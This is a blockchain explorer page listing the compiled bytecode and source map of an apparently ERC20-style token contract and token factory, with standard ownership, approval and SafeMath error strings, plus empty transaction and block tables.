054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061115c3061088e565b5f5f6111666109d4565b426040518863ffffffff1660e01b815260040161118896959493929190612049565b60606040518083038185885af11580156111a4573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906111c991906120bc565b5050506001600860146101000a81548160ff021916908315150217905550565b6111f16116f0565b73ffffffffffffffffffffffffffffffffffffffff1661120f6109d4565b73ffffffffffffffffffffffffffffffffffffffff161461122e575f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611265575f5ffd5b8073ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361138f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113869061217c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f49061220a565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114d79190611a9c565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361151b575f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611552575f5ffd5b6115a28160035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546116f790919063ffffffff16565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506116338160035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461174f90919063ffffffff16565b60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061167d836117ac565b611686826117ac565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116e39190611a9c565b60405180910390a3505050565b5f33905090565b5f8282111561173b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173290612272565b60405180910390fd5b81836117479190612290565b905092915050565b5f5f828461175d91906122c3565b9050838110156117a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179990612340565b60405180910390fd5b8091505092915050565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205411156118f4575f5f90505f5f90505b60058054905081101561188b578273ffffffffffffffffffffffffffffffffffffffff166005828154811061183257611831611eba565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160361187e576001915061188b565b80806001019150506117fa565b50806118f257600582908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b505b50565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611939826118f7565b6119438185611901565b9350611953818560208601611911565b61195c8161191f565b840191505092915050565b5f6020820190508181035f83015261197f818461192f565b905092915050565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6119b88261198f565b9050919050565b6119c8816119ae565b81146119d2575f5ffd5b50565b5f813590506119e3816119bf565b92915050565b5f819050919050565b6119fb816119e9565b8114611a05575f5ffd5b50565b5f81359050611a16816119f2565b92915050565b5f5f60408385031215611a3257611a31611987565b5b5f611a3f858286016119d5565b9250506020611a5085828601611a08565b9150509250929050565b5f8115159050919050565b611a6e81611a5a565b82525050565b5f602082019050611a875f830184611a65565b92915050565b611a96816119e9565b82525050565b5f602082019050611aaf5f830184611a8d565b92915050565b5f5f5f60608486031215611acc57611acb611987565b5b5f611ad9868287016119d5565b9350506020611aea868287016119d5565b9250506040611afb86828701611a08565b9150509250925092565b5f60ff82169050919050565b611b1a81611b05565b82525050565b5f602082019050611b335f830184611b11565b92915050565b5f60208284031215611b4e57611b4d611987565b5b5f611b5b848285016119d5565b91505092915050565b611b6d816119ae565b82525050565b5f602082019050611b865f830184611b64565b92915050565b5f5ffd5b5f5ffd5b5f5ffd5b5f5f83601f840112611bad57611bac611b8c565b5b8235905067ffffffffffffffff811115611bca57611bc9611b90565b5b602083019150836020820283011115611be657611be5611b94565b5b9250929050565b5f5f60208385031215611c0357611c02611987565b5b5f83013567ffffffffffffffff811115611c2057611c1f61198b565b5b611c2c85828601611b98565b92509250509250929050565b5f5f60408385031215611c4e57611c4d611987565b5b5f611c5b858286016119d5565b9250506020611c6c858286016119d5565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611cba57607f821691505b602082108103611ccd57611ccc611c76565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b6001851115611d5557808604811115611d3157611d30611cd3565b5b6001851615611d405780820291505b8081029050611d4e85611d00565b9450611d15565b94509492505050565b5f82611d6d5760019050611e28565b81611d7a575f9050611e28565b8160018114611d905760028114611d9a57611dc9565b6001915050611e28565b60ff841115611dac57611dab611cd3565b5b8360020a915084821115611dc357611dc2611cd3565b5b50611e28565b5060208310610133831016604e8410600b8410161715611dfe5782820a905083811115611df957611df8611cd3565b5b611e28565b611e0b8484846001611d0c565b92509050818404811115611e2257611e21611cd3565b5b81810290505b9392505050565b5f611e39826119e9565b9150611e4483611b05565b9250611e717fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611d5e565b905092915050565b5f611e83826119e9565b9150611e8e836119e9565b9250828202611e9c816119e9565b91508282048414831517611eb357611eb2611cd3565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f611f13611f0e611f0984611ee7565b611ef0565b6119e9565b9050919050565b611f2381611ef9565b82525050565b5f602082019050611f3c5f830184611f1a565b92915050565b7f54726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f611f76601783611901565b9150611f8182611f42565b602082019050919050565b5f6020820190508181035f830152611fa381611f6a565b9050919050565b5f81519050611fb8816119bf565b92915050565b5f60208284031215611fd357611fd2611987565b5b5f611fe084828501611faa565b91505092915050565b5f604082019050611ffc5f830185611b64565b6120096020830184611b64565b9392505050565b5f819050919050565b5f61203361202e61202984612010565b611ef0565b6119e9565b9050919050565b61204381612019565b82525050565b5f60c08201905061205c5f830189611b64565b6120696020830188611a8d565b612076604083018761203a565b612083606083018661203a565b6120906080830185611b64565b61209d60a0830184611a8d565b979650505050505050565b5f815190506120b6816119f2565b92915050565b5f5f5f606084860312156120d3576120d2611987565b5b5f6120e0868287016120a8565b93505060206120f1868287016120a8565b9250506040612102868287016120a8565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612166602483611901565b91506121718261210c565b604082019050919050565b5f6020820190508181035f8301526121938161215a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6121f4602283611901565b91506121ff8261219a565b604082019050919050565b5f6020820190508181035f830152612221816121e8565b9050919050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f7700005f82015250565b5f61225c601e83611901565b915061226782612228565b602082019050919050565b5f6020820190508181035f83015261228981612250565b9050919050565b5f61229a826119e9565b91506122a5836119e9565b92508282039050818111156122bd576122bc611cd3565b5b92915050565b5f6122cd826119e9565b91506122d8836119e9565b92508282019050808211156122f0576122ef611cd3565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61232a601b83611901565b9150612335826122f6565b602082019050919050565b5f6020820190508181035f8301526123578161231e565b905091905056fea2646970667358221220b5d162d0cd7e29740f26830efa9231d76e8afcefd72c14cc410906c0b3e9eea864736f6c634300081c0033a2646970667358221220f3dcabd36d6bf4fc11208bf9566f85bab2ba1596e54ce0f9876935207964558664736f6c634300081c0033

Deployed Bytecode Sourcemap

9850:756:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9881:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10097:469;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9881:26;;;;:::o;10097:469::-;10276:7;10317:11;;10304:9;:24;10296:33;;;;;;10340:14;10376:9;10387:5;10394:7;10403:9;10414:16;10357:74;;;;;:::i;:::-;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;10340:91;;10447:76;10468:8;10479:5;10486:7;10495:9;10506:16;10447:76;;;;;;;;;;:::i;:::-;;;;;;;;10549:8;10534:24;;;10097:469;;;;;;:::o;-1:-1:-1:-;;;;;;;;:::o;7:77:1:-;44:7;73:5;62:16;;7:77;;;:::o;90:118::-;177:24;195:5;177:24;:::i;:::-;172:3;165:37;90:118;;:::o;214:222::-;307:4;345:2;334:9;330:18;322:26;;358:71;426:1;415:9;411:17;402:6;358:71;:::i;:::-;214:222;;;;:::o;442:75::-;475:6;508:2;502:9;492:19;;442:75;:::o;523:117::-;632:1;629;622:12;646:117;755:1;752;745:12;769:117;878:1;875;868:12;892:117;1001:1;998;991:12;1015:102;1056:6;1107:2;1103:7;1098:2;1091:5;1087:14;1083:28;1073:38;;1015:102;;;:::o;1123:180::-;1171:77;1168:1;1161:88;1268:4;1265:1;1258:15;1292:4;1289:1;1282:15;1309:281;1392:27;1414:4;1392:27;:::i;:::-;1384:6;1380:40;1522:6;1510:10;1507:22;1486:18;1474:10;1471:34;1468:62;1465:88;;;1533:18;;:::i;:::-;1465:88;1573:10;1569:2;1562:22;1352:238;1309:281;;:::o;1596:129::-;1630:6;1657:20;;:::i;:::-;1647:30;;1686:33;1714:4;1706:6;1686:33;:::i;:::-;1596:129;;;:::o;1731:308::-;1793:4;1883:18;1875:6;1872:30;1869:56;;;1905:18;;:::i;:::-;1869:56;1943:29;1965:6;1943:29;:::i;:::-;1935:37;;2027:4;2021;2017:15;2009:23;;1731:308;;;:::o;2045:148::-;2143:6;2138:3;2133;2120:30;2184:1;2175:6;2170:3;2166:16;2159:27;2045:148;;;:::o;2199:425::-;2277:5;2302:66;2318:49;2360:6;2318:49;:::i;:::-;2302:66;:::i;:::-;2293:75;;2391:6;2384:5;2377:21;2429:4;2422:5;2418:16;2467:3;2458:6;2453:3;2449:16;2446:25;2443:112;;;2474:79;;:::i;:::-;2443:112;2564:54;2611:6;2606:3;2601;2564:54;:::i;:::-;2283:341;2199:425;;;;;:::o;2644:340::-;2700:5;2749:3;2742:4;2734:6;2730:17;2726:27;2716:122;;2757:79;;:::i;:::-;2716:122;2874:6;2861:20;2899:79;2974:3;2966:6;2959:4;2951:6;2947:17;2899:79;:::i;:::-;2890:88;;2706:278;2644:340;;;;:::o;2990:126::-;3027:7;3067:42;3060:5;3056:54;3045:65;;2990:126;;;:::o;3122:96::-;3159:7;3188:24;3206:5;3188:24;:::i;:::-;3177:35;;3122:96;;;:::o;3224:122::-;3297:24;3315:5;3297:24;:::i;:::-;3290:5;3287:35;3277:63;;3336:1;3333;3326:12;3277:63;3224:122;:::o;3352:139::-;3398:5;3436:6;3423:20;3414:29;;3452:33;3479:5;3452:33;:::i;:::-;3352:139;;;;:::o;3497:1125::-;3603:6;3611;3619;3627;3676:3;3664:9;3655:7;3651:23;3647:33;3644:120;;;3683:79;;:::i;:::-;3644:120;3831:1;3820:9;3816:17;3803:31;3861:18;3853:6;3850:30;3847:117;;;3883:79;;:::i;:::-;3847:117;3988:63;4043:7;4034:6;4023:9;4019:22;3988:63;:::i;:::-;3978:73;;3774:287;4128:2;4117:9;4113:18;4100:32;4159:18;4151:6;4148:30;4145:117;;;4181:79;;:::i;:::-;4145:117;4286:63;4341:7;4332:6;4321:9;4317:22;4286:63;:::i;:::-;4276:73;;4071:288;4398:2;4424:53;4469:7;4460:6;4449:9;4445:22;4424:53;:::i;:::-;4414:63;;4369:118;4526:2;4552:53;4597:7;4588:6;4577:9;4573:22;4552:53;:::i;:::-;4542:63;;4497:118;3497:1125;;;;;;;:::o;4628:118::-;4715:24;4733:5;4715:24;:::i;:::-;4710:3;4703:37;4628:118;;:::o;4752:222::-;4845:4;4883:2;4872:9;4868:18;4860:26;;4896:71;4964:1;4953:9;4949:17;4940:6;4896:71;:::i;:::-;4752:222;;;;:::o;4980:99::-;5032:6;5066:5;5060:12;5050:22;;4980:99;;;:::o;5085:169::-;5169:11;5203:6;5198:3;5191:19;5243:4;5238:3;5234:14;5219:29;;5085:169;;;;:::o;5260:139::-;5349:6;5344:3;5339;5333:23;5390:1;5381:6;5376:3;5372:16;5365:27;5260:139;;;:::o;5405:377::-;5493:3;5521:39;5554:5;5521:39;:::i;:::-;5576:71;5640:6;5635:3;5576:71;:::i;:::-;5569:78;;5656:65;5714:6;5709:3;5702:4;5695:5;5691:16;5656:65;:::i;:::-;5746:29;5768:6;5746:29;:::i;:::-;5741:3;5737:39;5730:46;;5497:285;5405:377;;;;:::o;5788:735::-;6005:4;6043:3;6032:9;6028:19;6020:27;;6093:9;6087:4;6083:20;6079:1;6068:9;6064:17;6057:47;6121:78;6194:4;6185:6;6121:78;:::i;:::-;6113:86;;6246:9;6240:4;6236:20;6231:2;6220:9;6216:18;6209:48;6274:78;6347:4;6338:6;6274:78;:::i;:::-;6266:86;;6362:72;6430:2;6419:9;6415:18;6406:6;6362:72;:::i;:::-;6444;6512:2;6501:9;6497:18;6488:6;6444:72;:::i;:::-;5788:735;;;;;;;:::o;6529:846::-;6774:4;6812:3;6801:9;6797:19;6789:27;;6826:71;6894:1;6883:9;6879:17;6870:6;6826:71;:::i;:::-;6944:9;6938:4;6934:20;6929:2;6918:9;6914:18;6907:48;6972:78;7045:4;7036:6;6972:78;:::i;:::-;6964:86;;7097:9;7091:4;7087:20;7082:2;7071:9;7067:18;7060:48;7125:78;7198:4;7189:6;7125:78;:::i;:::-;7117:86;;7213:72;7281:2;7270:9;7266:18;7257:6;7213:72;:::i;:::-;7295:73;7363:3;7352:9;7348:19;7339:6;7295:73;:::i;:::-;6529:846;;;;;;;;:::o

Swarm Source

ipfs://f3dcabd36d6bf4fc11208bf9566f85bab2ba1596e54ce0f98769352079645586

Block Transaction Gas Used Reward
view all blocks produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.